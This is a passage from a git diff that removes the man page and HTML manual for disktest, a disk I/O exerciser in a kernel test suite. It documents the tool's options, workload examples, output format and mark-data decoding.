-Use a data pattern that consists of the the lba number.  An lba value of up to a 64b can be stored.  The 64b value is repeated to fill the transfer buffer.
-.IP "-N sectors"
-Set the number of available sectors to num_secs. If no num_secs is specified, and the size of the device can be determined, then the number of sectors, as reported by the device is used, otherwise, the default number of sectors is 2000.
-.IP "-o offset"
-This option specifies the LBA
-.I offset
-to shift all alignment of IO by.
-For example, if a test is to perform a full stride write on a storage device, and the os and/or storage device offset the strides by a number of LBAs, this parameter can be used to set that offset, so that IO is aligned to the stride on the storage device.
-By default the offset is set to zero.
-.IP "-p seek_pattern"
-Set the pattern of seeks to
-.I seek_pattern.
-Valid patterns are
-.B l
-(linear interleaved writes/reads),
-.B L
-(linear writes then reads),
-.B R
-(random),
-.B r
-(random interleaved writes/reads).  Linear may also specify what happens when the last block is reached.  Option
-.B u
-specifies that the test should start back at first block after reaching the last block.
-.B d
-specifies that the test, after reaching the last block, should start at the last block and go to the first block. The default extra option for linear is 'u'. The default seek is random.
-.IP "-P perf_opts"
-Record performance statistic to stdout. Perf_opts is a string of characters representing which statistics should be reported.  The possible options are:
-
-.RS
-.RS
-.B T
-- Disk throughput
-
-.B X
-- Number of transfers
-
-.B P
-- Display performance data in ';' delimited format
-
-.B R
-- Display runtime
-
-.B C
-- Display cycle performance details
-
-.B A
-- Display all performance options
-
-.RE
-.RE
-.IP -q
-Suppress all the 'INFO' level messages that are send to stdout.  This includes all the assumption messages the
-.B disktest
-will print as it finds that the option was not specified in the command line arguments.
-.IP -Q
-Suppress header data from messages that are send to stdout.
-.IP -r
-Read from
-.I filespec.
-This is the default option if -w or -r are not specified.  -E must be specified if data integrity checking is desired.
-.IP "-R retry[:retryDelay]"
-Specifies that on a seek or transfer error, the IO should be retried.
-.I retry
-Specifies the number of retry attempts that should be made.
-.I retryDelay
-Specifies the amount of time delay (msec) before the retry occurs.  If no
-.I retryDelay
-is specified, then retries will occur immediately.  By default, IO errors are not retried.
-.IP "-S start_block[:end_block]"
-Set the starting test block to
-.I start_block
-and the ending test block to
-.I end_block.
-By default,
-.I start_block
-is 0 and
-.I end_block
-is 2000.  If
-.I end_block
-is not given, and the size of
-.I filespec
-can be determined, then
-.I end_block
-is set to the volume capacity reported by the device divided by the transfer length.
-This option can only be used when there is a fixed transfer length.
-The range given is inclusive, so if -S0:10 is specificed, this will be 11 blocks.
-The -S and -s options are exclusive.
-.IP "-s start_LBA[:end_LBA]"
-Set the starting test LBA to
-.I start_LBA
-and the ending test LBA to
-.I end_LBA.
-By default,
-.I start_LBA
-is 0 and
-.I end_LBA
-is 2000.  If
-.I end_LBA
-is not given, and the size of
-.I filespec
-can be determined, then
-.I end_LBA
-is set to the volume capacity reported by the device.
-This option can only be used when there is a fixed transfer length.
-The range given is inclusive, so if -s0:10 is specificed, this will be 11 LBAs.
-The -S and -s options are exclusive.
-.IP "-t delayMin[[:delayMax][:ioTimeout]]"
-Wait
-.I
-delayMin
-milliseconds between each IO.
-This is used when attempting to simulate a static load from an application that has some known proccessing time between IO operations.
-.I
-delayMax
-can be added to specify that a per thread random IO delay should be used, between delayMin and delayMax.
-When combined with multiple threads, -K, these can be used to model IO load for simulating application processing after IO.
-By default, disktest will issue as many IO requests as possible, delayMin/delayMax is set to zero, which may over drive some disk subsystems when multiple hosts running disktest are attached to the same disk subsystem.
-
-If no IOs complete in
-.I ioTimeout
-seconds, then disktest will consider the test to fail.
-The default is now 60 secs, which means that if there are no IO operations to a target from any thread that complete in 60 secs then the test will stop with a failed status, and an ERROR message stating the there is a possible hung IO condition, if it is a true hung IO condition, then disktest IO threads will not terminate with a non-preemtable kernel, and the only error message with be from the ioTimeout ERROR message.
-To disable this feature, set the io timeout to 0, which means that the IO timeout time will never be reached which is how disktest operated before this feature was added.
-The minute, m, hour, h, and day, d, multipliers can also be used on these perameter.
-The following are examples of -t usage.
-
-.RS
-.RS
--t0:0, is the default behavior as in previous versions
-
--t0:2h, is no IO delay, with a 2 hour IO timeout.
-
--t30, is a 30 msec delay, with default IO timeout.
-
--t300:1000:1m, is a random delay between 300:1000 msec, with a 1 minute io timeout.
-
-.RE
-.RE
-.IP "-T runtime"
-Run until
-.I runtime
-seconds have elapsed.
-.I Runtime
-must always be greater than zero.  -T and -L are exclusive of one another.
-.IP -v
-The version information will be displayed and
-.B disktest
-will exit normally.
-.IP -w
-Write to
-.I filespec.
-Data will be written as fast as possible and not read back to check for data corruption. can be combined with -r option to do read/write testing and -E to perform data integrity checking.
-.IP -z
-Use a randomly generated data pattern based on the seed for the bytes within to each block.  The data pattern is random for the first 512 bytes, one LBA.  The pattern is then repeated for each LBA after creating a pseudo random data pattern across the given
-.I filespec.
-This is done for two reasons.  One, it saves on the memory foot print size need and time required to generate the data, and two, an LBA is the smallest unit of work
-.B disktest
-operates on.  Therefore,
-.B disktest
-can maintain the ability to do data checking, random block size transfers, and random block offsets when using random data.
-.SH FILES
-.I ./disktest
-.SH ENVIRONMENT
-None.
-.SH EXAMPLES
-The following are some examples on how to use the options in
-.B disktest
-to create different types of workloads.  Please use these as a guideline to get started.
-
-.RS
-disktest -r -S10:15 -pld -L35 -B 256k -K3 -PTX /dev/sdaa
-
-This will start a read test to blocks 10 through 15.  Seeks are linear and will be performed starting at 10 going to 15 then back to 10.  35 seeks will be performed.  The block size 256k and there will be three threads.  Also, total transfer and throughput will be displayed at the end of the test.
-
-disktest -r -w -D30:70 -K2 -E32 -B 8192 -T 600 -pR -Ibd /dev/sdzz
-
-This will start a write and read test were the work load is 30% reads and 70% writes.  There will be two threads and all read data will be checked for errors up to 32 bytes.  The block size is 8k and the test will run for 600 seconds.  Seeks will be random and /dev/sdzz will be opened with the
-.B O_DIRECT
-flag set.
-
-disktest -K8 -t500:15000:120s ./testfile
-
-This will start eight read threads, with a minimum read delay of 500 milliseconds, and a maximum of 15 seconds.
-
-disktest -w -Is200 -R3:60000 -Ac -PRTX -B128k -T10 -pr ./afile
-
-This will start four write threads, syncing every 200 IOs. If there is a error on any write, then the same IO will be retried up to 3 times, and the thread will wait for 60 seconds before attempting each retry. If there is an error during the test, just continue on, reporting all errors as warnings.
-
-disktest -Ag -Am -B 16k -C 100 -K 1 -z -ma -pL -P A -S 0:20000 -r -w -E 0 -N 640032 ./afile
-
-Start a read/write test with error checking for 100 cycles.  If there is an error, then write out the special marker to LBA 0 of the target, and stop all testing.  You random data, and all header markers.
-
-.SH DIAGNOSTICS
-Output Format
-.RS
-All output has a header sting that displays in the following format:
-
-.RS
-| <date>-<time> | <level> | <pid> | <version> | <device> | <message>
-
-.RE
-The first value is the system date and time.  It is expressed as:
-.RS
-<MONTH>/<DAY>/<YEAR>-<HOUR>:<MIN>:<SEC>.
-
-.RE
-The second value is the level of the message.  Current levels include START, END, DEBUG, INFO, WARN, STAT, and ERROR.  The third value is the process id.  This can be used to match up the test processes with the output information if more then one test process is outputting to the same context, such as file. It can also be used to regenerate a test with the same seeks and random data using the -a. The fourth value is the revision number of the test process. The fifth is the target device.  The sixth is the informational message.  The following are some examples:
-.RS
-
-| 11/12/01-02:05:01 | START | 1314 | v1.2.3 | /dev/sdaa | Start args: -S100:105 -K5 -pid -r -PTX -L 25 -B 1 -z /dev/sdaa
-
-| 11/12/01-02:05:01 | STAT  | 1314 | v1.2.3 | /dev/sdaa | 12800 bytes read in 25 transfers.
-
-| 11/12/01-02:05:01 | STAT  | 1314 | v1.2.3 | /dev/sdaa | Read Throughput 12800B/s, IOPS 25/s.
-
-| 11/12/01-02:05:01 | END   | 1314 | v1.2.3 | /dev/sdaa | Test Done (Passed)
-
-.RE
-.RE
-Error Checking
-.RS
-When error checking is enabled, each read is compared with data that is generated by the command line options specified or assumptions made where no command line option is given.  If a data miscompare results the expected and actual data from the first 16 bytes of the LBA where the error occured is printed to STDOUT, and the IO thread will die without completing any other IO operations, unless the -A option is specified. if the compare_length is not zero, then only the first compare_length bytes are compared, and only if those bytes miscompare will a data miscompare be reported. When using the mark option, data miscompares can be more readly detect.
-
-.RE
-Decoding Mark Data
-.RS
-When using the -m option, it will replace the first 32+ bytes of each LBA with mark information.
-The + is the fact that it places the complete target information in the mark, so it can consume more or lease of the LBA depending on the filespec.
-The mark information looks as follows:
-
-.RS
-00 00 00 00 00 00 00 D4 00 00 00 00 00 00 00 03
-.br
-00 00 00 00 42 FD 08 FD 00 00 00 00 00 00 43 FA
-.br
-69 6F 61 72 6B 00 00 00 00 00 00 00 00 00 00 00
-.br
-2E 2F 74 65 73 74 66 69 6C 65 3A 3B 3C 3D 3E 3F
-
-.RE
-The first 8 bytes is the LBA, in this case
-.RS
-00 00 00 00 00 00 00 D4 : Which equals LBA #212
-
-.RE
-The second 8 bytes is the pass count, in this case
-.RS
-00 00 00 00 00 00 00 03 : Which equals pass count 3
-
-.RE
-The third 8 bytes is the start time, in this case
-.RS
-00 00 00 00 42 FD 08 FD : Which equals 0x42FD08FD or 1123879165 or Fri Aug 12 13:39:25 PDT 2005.
-.br
-This value is decoding using date --date="1970-01-01 1123879165 sec UTC" .
-
-.RE
-The fourth 8 bytes is the random seed, in this case
-.RS
-00 00 00 00 00 00 43 FA : Which equals 0x43FA
-
-.RE
-The next 16 bytes is the first 16 bytes of the name of the host, in this case
-.RS
-69 6F 61 72 6B 00 00 00 00 00 00 00 00 00 00 00 : Which equals: ioark
-
-.RE
-From the 49 byte on is the filespec, in this case
-.RS
-2E 2F 74 65 73 74  66 69 6C 65 : Which equals: ./testfile
-.RE
-
-.RE
-Seeking/Accessing
-.RS
-When a seek failure occurs, the following information is sent to STDOUT:
-
-.RS
-| 11/12/01-02:05:01 | ERROR | 2250 | v1.2.3 | /dev/sdzz | lseek failed seek 10, lba = 32714, request pos = 1284, seek pos = -1, errno = 5
-
-.RE
-When an access failure occurs, the following information is sent to STDOUT:
-
-.RS
-| 11/12/01-02:05:01 | ERROR | 4492 | v1.2.3 | /dev/sdxp | disk access failed: seek 10, lba = 32714, got = 0, asked for = 8192, errno = 2
-
-.RE
-An access failure can also occur on a partial access.  In this case, 'got' will equal the number of bytes that were transfered.
-Currently, distest treats partial accesses as failures, as distest attempts to always make sure that the LBA target and trasnfer size fits inside the specified volume size.
-
-.RE
-Performance
-.RS
-Performance options will display information about throughput, IO per second, and runtime. This information can be print at the end of the test only, or throughout the test at a given interval using the heartbeat option, -h.
-
-.RE
-Dumping
-.RS
-When dumping data from filespec you will specify -d along with other command-line options.  Here is an example:
-
-.RS
-disktest -d -B 1k -s25 /dev/sddz
-
-.RE
-This will dump 1024 bytes of data to stdout starting at LBA 25.
-
-.RE
-File I/O
-.RS
-Distest can be used to perform filesystem IO testing.  There is some setup required for this however.  Disktest will not automatically create a file on the filesystem.  Therefore, a file must be initialized.  This is only required for read only testing.  Write and read/write testing will create the file if not already created.  Also note, that when creating a file using random I/O, all the LBAs in the file may not be written.  This can cause disktest to show an error if a request is made to a file to an LBA that has not been previously written.  The following is an example to initialize a file for filesystem IO testing.
-
-disktest -w -pl -N200000 -B128k test.fil
-
-This will create a ~97MB file named test.fil in the current directory writing at 131072B per transfer.  Once this completes any type of IO test can be performed to this file. This can also be done by creating a sparce file by doing the following:
-
-disktest -w -pl -K1 -L1 -S200000 test.fil
-
-.RE
-.SH TODO
-The following are options that are forthcoming, ideas, and other good stuff:
-.RS
-Add the following options:
-.RS
-butterfly: seek option: test will seek lba start/end/start+1/end-1/etc...
-
-non-destructive: will read lba/write lba with read data/then read lba to verify
-
-min seek: force a minimum seek distance during any IO access
-
-max seek: force a maximum seek distance during any IO access
-
-WORO: all blocks will be written and read only once
-
-WRWR: a block will be written then read then written then read
-
-retry: number of times an I/O should be retried, after an error, before counting as a failure
-
-.SH AUTHOR
-Brent Yardley (yardleyb@us.ibm.com)
diff --git a/testcases/kernel/io/disktest/man1/disktest.1.gz b/testcases/kernel/io/disktest/man1/disktest.1.gz
deleted file mode 100644
index 42b17ef..0000000
--- a/testcases/kernel/io/disktest/man1/disktest.1.gz
+++ /dev/null
Binary files differ
diff --git a/testcases/kernel/io/disktest/man1/disktest_manual.html b/testcases/kernel/io/disktest/man1/disktest_manual.html
deleted file mode 100644
index ecb9618..0000000
--- a/testcases/kernel/io/disktest/man1/disktest_manual.html
+++ /dev/null
@@ -1,839 +0,0 @@
-Content-type: text/html
-
-<HTML><HEAD><TITLE>Manpage of DISKTEST</TITLE>
-</HEAD><BODY>
-<H1>DISKTEST</H1>
-Section: Diag Tools (1)<BR>Updated: March 2007<BR><A HREF="#index">Index</A>
-<A HREF="http://localhost/cgi-bin/man/man2html">Return to Main Contents</A><HR>
-
-<A NAME="lbAB">&nbsp;</A>
-<H2>NAME</H2>
-
-disktest - Test tool for exersizing disk devices
-<A NAME="lbAC">&nbsp;</A>
-<H2>SYNOPSIS</H2>
-
-<B>disktest [-q] [-Q] [-r] [-w] [-E</B>
-
-<I>cmp_length</I>
-
-<B>] [-a</B>
-
-<I>seed</I>
-
-<B>] [ -A</B>
-
-<I>action</I>
-
-<B>] [-z|c|n|f</B>
-
-<I>fixed_pattern</I>
-
-<B>] [-B</B>
-
-<I>sBLK[:eBLK]</I>
-
-<B>| -C</B>
-
-<I>cycles</I>
-
-<B>] [-d ] [-D</B>
-
-<I>r%:w%</I>
-
-<B>] [-F] [-h</B>
-
-<I>heartbeat</I>
-
-<B>] [-K</B>
-
-<I>threads</I>
-
-<B>| -L</B>
-
-<I>seeks</I>
-
-<B>] [-P</B>
-
-<I>TXPRCA</I>
-
-<B>] [ -m ] [-N</B>
-
-<I>sectors</I>
-
-<B>] [-R</B>
-
-<I>retry[:retryDelay]</I>
-
-<B>] [-o</B>
-
-<I>offset</I>
-
-<B>] [-s</B>
-
-<I>sLBA[:eLBA]</I>
-
-<B>] [-S</B>
-
-<I>sBLK[:eBLK]</I>
-
-<B>] [-t</B>
-
-<I>delayMin[[:[delayMax]][:ioTimeout]]</I>
-
-<B>] [-T</B>
-
-<I>seconds</I>
-
-<B>] [-p</B>
-
-r
-<B>|</B>
-
-R
-<B>|</B>
-
-l
-<B>[</B>
-
-u
-<B>|</B>
-
-d
-<B>]</B>
-
-<B>] |</B>
-
-L
-<B>[</B>
-
-u
-<B>|</B>
-
-d
-<B>]] [-I [</B>
-
-d
-<B>]</B>
-
-r
-<B>|</B>
-
-b
-<B>|</B>
-
-f
-<B>[</B>
-
-s [ delay ]
-<B>]</B>
-
-<B>]</B>
-
-<I>filespec</I>
-
-<A NAME="lbAD">&nbsp;</A>
-<H2>DESCRIPTION</H2>
-
-<B>Disktest</B>
-
-does repeated accesses to a
-<I>filespec</I>
-
-and optionally writes to, reads from, and verifies the data.  By default,
-<B>disktest</B>
-
-makes assumptions about the running environment which allows for a quick start of IO generation.  However,
-<B>Disktest</B>
-
-has a large number of command line options which can be used to adapt the test for a variety of uses including data integrity, medium integrity, performance, and simple application simulation.
-<P>
-<B>Disktest</B>
-
-will use the device specified by
-<I>filespec.</I>
-
-If no option is specified otherwise,
-<B>disktest</B>
-
-will attempt to determine
-<I>filespec</I>
-
-type.  Fully qualified path must be give when
-<I>filespec</I>
-
-is not a normal file.  This will help to determine it's type.
-<A NAME="lbAE">&nbsp;</A>
-<H2>OPTIONS</H2>
-
-Most options have multipliers that can be used to specify larger amounts.  The following are a list of these multipliers.
-<DL COMPACT><DT><DD>
-<P>
-k = 1024, K = 10^3, m = 1024^2, M = 10^6, g = 1024^3, G = 10^9
-<P>
-</DL>
-
-These can be used on options such as -B, -L, -N, -S, -s.  The time options also have multipliers.
-<DL COMPACT><DT><DD>
-<P>
-m = 60, h = 60*60, d = 60*60*24
-<P>
-</DL>
-
-These can be used on options such as -h and -T.
-<DL COMPACT>
-<DT>-?<DD>
-Displays a short description of the command line options and exits normally.
-<DT>-a seed<DD>
-Use seed for all random number generation when constructing blocks of pseudo-random data and random seeks.
-By default, seed is set to the process id number.
-To reproduce a previous test run, use the process id number outputted to stdout.
-<DT>-A action<DD>
-These options are used to modify the default behavor during IO runtime.
-The following options can be used for these modifications.
-<DL COMPACT><DT><DD>
-<DL COMPACT><DT><DD>
-<DL COMPACT>
-<DT>g<DD>
-all threads, even to multiple targets, will be killed and the disktest process will stop.
-By default, when an access failure occurs only the threads to the failing target will stop.
-<DT>c<DD>
-after error, all threads for all targets will continue to run.
-<DT>r<DD>
-the reread that would normally occur on a data miscompare is not performed.
-<DT>m<DD>
-after error, a special IO is sent to LBA 0 of the target.
-This is so that a trigger can be set on the special data.
-At the beginning if the IO is the string &quot;DISKTEST ERROR OCCURRED&quot;.
-This will overwrite any mark data or normal pattern data written.
-<DT>s<DD>
-disable block level synchronization.
-By default distest will synchronize IO on a block level according to the POSIX standard that states that an application must serialize IO to a block or raw device.
-Disktest will not allow a write if the block is already being written or read, but will allow a read if other reads are occuring.
-This option will turn off this checking.
-<DT>S<DD>
-enable IO serialization.
-This addes to the synchronization of the threads, so that there is no more then one IO oustanding to a target, no matter how many threads are running to the target.
-<DT>t<DD>
-causes an IO timeout, to fail an IO run.
-normally an IO timeout, see -t option, will just display a warning.
-<DT>w<DD>
-If running the -pR seek type, and this action is specified, then blocks will only be written once, and be read many times, i.e. WORM still testing.
-This option does nothing with other seek pattern types, or if not reading and writing.
-<P>
-</DL>
-</DL>
-
-<B>NOTE:</B>
-
-Options g and c are exclusive.
-Option m cannot be specified with with c.
-Option m cannot be specified if only reading from a device.
-When using option s, it is possible that in some operating systems, that a data miscompare may result due to a kernel that does not garentee exclusion or does not handle well multiple readers and writers to the same block.
-</DL>
-
-<DT>-B sBlockSize[:eBlockSize]<DD>
-Set the size of the data block transfer.  If only
-<I>sBlockSize</I>
-
-is specified, then the transfer length is always a fixed length of
-<I>sBlockSize.</I>
-
-If
-<I>eBlockSize</I>
-
-is specified, then the transfer length will be randomly chosen between
-<I>sBlockSize</I>
-
-and
-<I>eBlockSize.</I>
-
-The transfer size will always be a multipile of the sector size.
-If either parameter is greater then 256, then the value will be integer divided by the sector size default, which is 512 bytes. If either parameter is preceded by a 'k', i.e. 8k, then the value will be multiplied by 1024. Otherwise, the parameters will be taken literally.  The default block size is (1*sector size) or 512.  Note that
-<B>O_DIRECT</B>
-
-, no filesystem buffering, and some file system may not be able to perform accesses as small as 512 bytes.  This will result in an IO failure with a transfer length of -1.
-<DT>-c<DD>
-Use a counting sequence for the bytes within to each block.  The count starts at 0 and increments to 255 then begins again at 0.  Each sector is filled with two of these sequences.
-<DT>-C cycles<DD>
-Run until the total number of
-<I>cycles</I>
-
-are complete.  When cycles is set to zero, disktest will run until killed.  The -L or -T option is used to specify how long each cycle will run for.  If neither -T or -L is specified, the cycle length with be calculated to the number of seeks based on the device size, -N, divided by the transfer size, -B. If -C is not specified, only a single cycle is run.
-<DT>-d<DD>
-Force
-<B>disktest</B>
-
-to dump to stdout the amount of data at the location specified by the other command-line option, i.e. -d -s50 -B 32k will dump 32768 bytes of data to stdout starting at LBA 50. The data is formatted into lines of 16 bytes with the location offset and ASCII equivalent.
-<DT>-D r%:w%<DD>
-Duty cycle used while reading and/or writing.  For example, -D 20:80 would cause
-<B>disktest</B>
-
-to generate a read 20% of the total run time and generate a write 80%.  If only read or write is give then the percentage is always set to 100 for the specified option.  If the total percentage does not add up to 100, i.e. -D 20:70, then
-<B>disktest</B>
-
-will split the remaining percentage, resulting in 25% reads and 75% writes.
-<DT>-E compare_length<DD>
-Turn on error checking.  Data read from
-<I>filespec</I>
-
-will be checked for correctness up to the number of bytes specified by
-<I>compare_length.</I>
-
-If
-<I>compare_length</I>
-
-is 0 then the block size is used as the compare length. By default, data read is not checked for errors.
-<DT>-f fixed_pattern<DD>
-Use a data pattern consisting of a fixed value.
-<I>fixed_pattern</I>
-
-can be entered using decimal, any number not starting with a 0, octel, any number staring with a 0, or hexadecimal, any number and [A-F] starting with 0x. The value can be no greater +/- 2^63, in size.
-<DT>-F<DD>
-used to specify that the
-<I>filespec</I>
-
-is actually a file listing the targets that
-<B>disktest</B>
-
-should operate on.  This allows
-<B>disktest</B>
-
-to run to multiple targets using the same options from a single command-line.
-<DT>-h heartbeat<DD>
-Performance data will be sent to stdout every
-<I>heartbeat</I>
-
-seconds. During a linear test, -pL, only heartbeat statistics for the current operational cycle will be displayed. The default is to only display performance data at the end of the test, which is cumulative for all IO performed throughout the test.
-<DT>-I IO_type<DD>
-Set the data transfer type to IO_type. Valid IO types are
-<B>r</B>
-
-(raw),
-<B>b</B>
-
-(block), or
-<B>f</B>
-
-(file) I/O.  These options are case sensitive.
-<P>
-The
-<B>r</B>
-
-(raw) type is used when binding a block device to a raw device, see
-<B><A HREF="http://localhost/cgi-bin/man/man2html?8+raw">raw</A>(8). Disktest</B>
-
-will align it's buffers correctly to support raw devices.
-<P>
-The
-<B>b</B>
-
-(block) type is used when block IO is desired.  The buffer_cache will be used during testing.  Buffer alignment is not required for this type of IO operation.
-<P>
-The
-<B>f</B>
-
-(file) type is used when accessing a file.  If the file does not exist then it will be created.  If the file exists, then it will opened; see
-<B>O_CREAT</B>
-
-in
-<B><A HREF="http://localhost/cgi-bin/man/man2html?2+open">open</A>(2)</B>
-
-for more details. Access to the file is performed through the file system that the file is stored on. Adding an S modifier to the F (file) type opertaions will force an
-<B><A HREF="http://localhost/cgi-bin/man/man2html?2+fsync">fsync</A>(2)</B>
-
-to occur on every write.
-<P>
-Adding
-<B>d</B>
-
-will open with the
-<B>O_DIRECT</B>
-
-flag set.
-If this option is used, then I/O is limited to being aligned to the file systems block size.
-When transferring to a block device w/o a file system, then alignment is to 1k.
-These limits have been verified with the 2.4.9 kernel and the o_direct patch from AA.
-<P>
-Adding
-<B>s</B>
-
-<I>sync_interval</I>
-
-Specifies that a sync should occur at
-<I>sync_interval</I>
-
-number of write IO operations. The default is to sync on every IO.
-<P>
-<B>Disktest</B>
-
-will report a failure if
-<I>filespec</I>
-
-does not match the
-<I>IO_type</I>
-
-specified.
-If no type is specified, then disktest will attempt to determine the file type by using <A HREF="http://localhost/cgi-bin/man/man2html?2+stat">stat</A>(2).
-<DT>-K threads<DD>
-Set the number of test threads to threads.  Each child can read or write based on the specified criteria.  The default number of test threads is 4.
-<DT>-L seeks<DD>
-Total number of seeks to occur during testing.  This option specifies the exact number of times a seek occurs on a resource.  By default
-<B>disktest</B>
-
-will calculate the number of seeks by taking the difference between the start block and the stop block.  If the difference is 0 then the default is 1000 seeks.
-<DT>-m<DD>
-This option will add the lba, pass count, seed, cycle start time, hostname, and target to each LBA as header data before any IO operation occurs. The mark replaces the first n bytes of data in each LBA.
-<DT>-M marker<DD>
-This option will override the cycle start time in the -m option with the specified value. This is useful when you are writing in one distest instance and read/verifing in another so that the mark data can be unique and also deterministic.
-<DT>-n<DD>
-Use a data pattern that consists of the the lba number.  An lba value of up to a 64b can be stored.  The 64b value is repeated to fill the transfer buffer.
-<DT>-N sectors<DD>
-Set the number of available sectors to num_secs. If no num_secs is specified, and the size of the device can be determined, then the number of sectors, as reported by the device is used, otherwise, the default number of sectors is 2000.
-<DT>-o offset<DD>
-This option specifies the LBA
-<I>offset</I>
-
-to shift all alignment of IO by.
-For example, if a test is to perform a full stride write on a storage device, and the os and/or storage device offset the strides by a number of LBAs, this parameter can be used to set that offset, so that IO is aligned to the stride on the storage device.
-By default the offset is set to zero.
-<DT>-p seek_pattern<DD>
-Set the pattern of seeks to
-<I>seek_pattern.</I>
-
-Valid patterns are
-<B>l</B>
-
-(linear interleaved writes/reads),
-<B>L</B>
-
-(linear writes then reads),
-<B>R</B>
-
-(random),
-<B>r</B>
-
-(random interleaved writes/reads).  Linear may also specify what happens when the last block is reached.  Option
-<B>u</B>
-
-specifies that the test should start back at first block after reaching the last block.
-<B>d</B>
-
-specifies that the test, after reaching the last block, should start at the last block and go to the first block. The default extra option for linear is 'u'. The default seek is random.
-<DT>-P perf_opts<DD>
-Record performance statistic to stdout. Perf_opts is a string of characters representing which statistics should be reported.  The possible options are:
-<P>
-<DL COMPACT><DT><DD>
-<DL COMPACT><DT><DD>
-<B>T</B>
-
-- Disk throughput
-<P>
-<B>X</B>
-
-- Number of transfers
-<P>
-<B>P</B>
-
-- Display performance data in ';' delimited format
-<P>
-<B>R</B>
-
-- Display runtime
-<P>
-<B>C</B>
-
-- Display cycle performance details
-<P>
-<B>A</B>
-
-- Display all performance options
-<P>
-</DL>
-
-</DL>
-
-<DT>-q<DD>
-Suppress all the 'INFO' level messages that are send to stdout.  This includes all the assumption messages the
-<B>disktest</B>
-
-will print as it finds that the option was not specified in the command line arguments.
-<DT>-Q<DD>
-Suppress header data from messages that are send to stdout.
-<DT>-r<DD>
-Read from
-<I>filespec.</I>
-
-This is the default option if -w or -r are not specified.  -E must be specified if data integrity checking is desired.
-<DT>-R retry[:retryDelay]<DD>
-Specifies that on a seek or transfer error, the IO should be retried.
-<I>retry</I>
-
-Specifies the number of retry attempts that should be made.
-<I>retryDelay</I>
-
-Specifies the amount of time delay (msec) before the retry occurs.  If no
-<I>retryDelay</I>
-
-is specified, then retries will occur immediately.  By default, IO errors are not retried.
-<DT>-S start_block[:end_block]<DD>
-Set the starting test block to
-<I>start_block</I>
-
-and the ending test block to
-<I>end_block.</I>
-
-By default,
-<I>start_block</I>
-
-is 0 and
-<I>end_block</I>
-
-is 2000.  If
-<I>end_block</I>
-
-is not given, and the size of
-<I>filespec</I>
-
-can be determined, then
-<I>end_block</I>
-
-is set to the volume capacity reported by the device divided by the transfer length.
-This option can only be used when there is a fixed transfer length.
-The range given is inclusive, so if -S0:10 is specificed, this will be 11 blocks.
-The -S and -s options are exclusive.
-<DT>-s start_LBA[:end_LBA]<DD>
-Set the starting test LBA to
-<I>start_LBA</I>
-
-and the ending test LBA to
-<I>end_LBA.</I>
-
-By default,
-<I>start_LBA</I>
-
-is 0 and
-<I>end_LBA</I>
-
-is 2000.  If
-<I>end_LBA</I>
-
-is not given, and the size of
-<I>filespec</I>
-
-can be determined, then
-<I>end_LBA</I>
-
-is set to the volume capacity reported by the device.
-This option can only be used when there is a fixed transfer length.
-The range given is inclusive, so if -s0:10 is specificed, this will be 11 LBAs.
-The -S and -s options are exclusive.
-<DT>-t delayMin[[:delayMax][:ioTimeout]]<DD>
-Wait
-<I>delayMin</I>
-
-milliseconds between each IO.
-This is used when attempting to simulate a static load from an application that has some known proccessing time between IO operations.
-<I>delayMax</I>
-
-can be added to specify that a per thread random IO delay should be used, between delayMin and delayMax.
-When combined with multiple threads, -K, these can be used to model IO load for simulating application processing after IO.
-By default, disktest will issue as many IO requests as possible, delayMin/delayMax is set to zero, which may over drive some disk subsystems when multiple hosts running disktest are attached to the same disk subsystem.
-<P>
-If no IOs complete in
-<I>ioTimeout</I>
-
-seconds, then disktest will consider the test to fail.
-The default is now 60 secs, which means that if there are no IO operations to a target from any thread that complete in 60 secs then the test will stop with a failed status, and an ERROR message stating the there is a possible hung IO condition, if it is a true hung IO condition, then disktest IO threads will not terminate with a non-preemtable kernel, and the only error message with be from the ioTimeout ERROR message.
-To disable this feature, set the io timeout to 0, which means that the IO timeout time will never be reached which is how disktest operated before this feature was added.
-The minute, m, hour, h, and day, d, multipliers can also be used on these perameter.
-The following are examples of -t usage.
-<P>
-<DL COMPACT><DT><DD>
-<DL COMPACT><DT><DD>
--t0:0, is the default behavior as in previous versions
-<P>
--t0:2h, is no IO delay, with a 2 hour IO timeout.
-<P>
--t30, is a 30 msec delay, with default IO timeout.
-<P>
--t300:1000:1m, is a random delay between 300:1000 msec, with a 1 minute io timeout.
-<P>
-</DL>
-
-</DL>
-
-<DT>-T runtime<DD>
-Run until
-<I>runtime</I>
-
-seconds have elapsed.
-<I>Runtime</I>
-
-must always be greater than zero.  -T and -L are exclusive of one another.
-<DT>-v<DD>
-The version information will be displayed and
-<B>disktest</B>
-
-will exit normally.
-<DT>-w<DD>
-Write to
-<I>filespec.</I>
-
-Data will be written as fast as possible and not read back to check for data corruption. can be combined with -r option to do read/write testing and -E to perform data integrity checking.
-<DT>-z<DD>
-Use a randomly generated data pattern based on the seed for the bytes within to each block.  The data pattern is random for the first 512 bytes, one LBA.  The pattern is then repeated for each LBA after creating a pseudo random data pattern across the given
-<I>filespec.</I>
-
-This is done for two reasons.  One, it saves on the memory foot print size need and time required to generate the data, and two, an LBA is the smallest unit of work
-<B>disktest</B>
-
-operates on.  Therefore,
-<B>disktest</B>
-
-can maintain the ability to do data checking, random block size transfers, and random block offsets when using random data.
-</DL>
-<A NAME="lbAF">&nbsp;</A>
-<H2>FILES</H2>
-
-<I>./disktest</I>
-
-<A NAME="lbAG">&nbsp;</A>
-<H2>ENVIRONMENT</H2>
-
-None.
-<A NAME="lbAH">&nbsp;</A>
-<H2>EXAMPLES</H2>
-
-The following are some examples on how to use the options in
-<B>disktest</B>
-
-to create different types of workloads.  Please use these as a guideline to get started.
-<P>
-<DL COMPACT><DT><DD>
-disktest -r -S10:15 -pld -L35 -B 256k -K3 -PTX /dev/sdaa
-<P>
-This will start a read test to blocks 10 through 15.  Seeks are linear and will be performed starting at 10 going to 15 then back to 10.  35 seeks will be performed.  The block size 256k and there will be three threads.  Also, total transfer and throughput will be displayed at the end of the test.
-<P>
-disktest -r -w -D30:70 -K2 -E32 -B 8192 -T 600 -pR -Ibd /dev/sdzz
-<P>
-This will start a write and read test were the work load is 30% reads and 70% writes.  There will be two threads and all read data will be checked for errors up to 32 bytes.  The block size is 8k and the test will run for 600 seconds.  Seeks will be random and /dev/sdzz will be opened with the
-<B>O_DIRECT</B>
-
-flag set.
-<P>
-disktest -K8 -t500:15000:120s ./testfile
-<P>
-This will start eight read threads, with a minimum read delay of 500 milliseconds, and a maximum of 15 seconds.
-<P>
-disktest -w -Is200 -R3:60000 -Ac -PRTX -B128k -T10 -pr ./afile
-<P>
